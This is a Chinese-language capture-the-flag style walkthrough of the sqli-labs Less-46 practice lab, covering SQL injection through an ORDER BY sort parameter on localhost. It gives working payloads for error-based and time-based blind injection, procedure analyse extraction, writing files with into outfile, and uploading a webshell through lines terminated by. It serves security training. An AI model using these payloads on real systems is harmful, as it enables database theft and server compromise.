sqli-labs(46)
0X01首先我们先来看一下源码
发现查询语句变成了 order by 参数也变成了 sort 看看是什么样的
(1)首先看看本关sql语句 $sql = "SELECT * FROM users ORDER BY $id";
在mysql中 order by 参数后可以加入升序和降序来改变排列顺序,
我们来看看mysql的帮助函数
0x4 思路分析 (1)order by 后的数字可以作为一个注入点,构造order by 后的一个语句,让该语句执行结果为一个数,我们尝试
http://127.0.0.1/sql1/Less-46/?sort=right(database(),1)
解释下:
rigth函数:是返回右边结果的第一个字符 left 同理
经过测试,两个函数在页面并没有任何的反应,证明数字并没有起作用,考虑下布尔类型。可以利用报错注入和延时注入。
(2)直接在sort后面构造,形式存在几种
直接添加注入语句
利用函数(例如:rand 函数等)使用true和false看看结果
http://127.0.0.1/sql1/Less-46/?sort=rand(true)
http://127.0.0.1/sql1/Less-46/?sort=rand(false)
发现并没有 特别的变化
http://127.0.0.1/sql1/Less-46/?sort=-1%20and%20(select%20database())
也没有什么特别的变化 那我们想一想其他的注入
比如报错
?sort=1 and (select count(*),concat_ws(';',database(),floor(rand()*2))as a from information_schema.tables group by a)
返回一个操作数应该包含一列
sort=(select count(*) from information_schema.columns group by concat(0x5c,(select user()),0x5c,floor(rand()*2)) limit 0,1)
4)延迟注入实例
?sort= (select if(substring(current,1,1)=CHAR(115),BENCHMARK(50000000,md5('1')),null) from (select database() as current) as test)
?sort=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))
(4)procedure analyse参数注入 利用procedure analyse参数,我们可以执行报错注入。同时,在procedure analyse和order by之间可以存在limit参数,我们在实际应用中,往往也可能会存在limit后的注入,可以利用procedure analyse进行注入。
?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1)
5)导入导出文件into outfile参数
http://localhost/sqli-labs-master/Less-46/?sort=1 into outfile "d:/1.txt"
(6)lines terminated by上传网马
Into outtfile 文件地址 lines terminated by 0x(网马进行16进制转换)
切记 学习之路 少就是多 慢就是快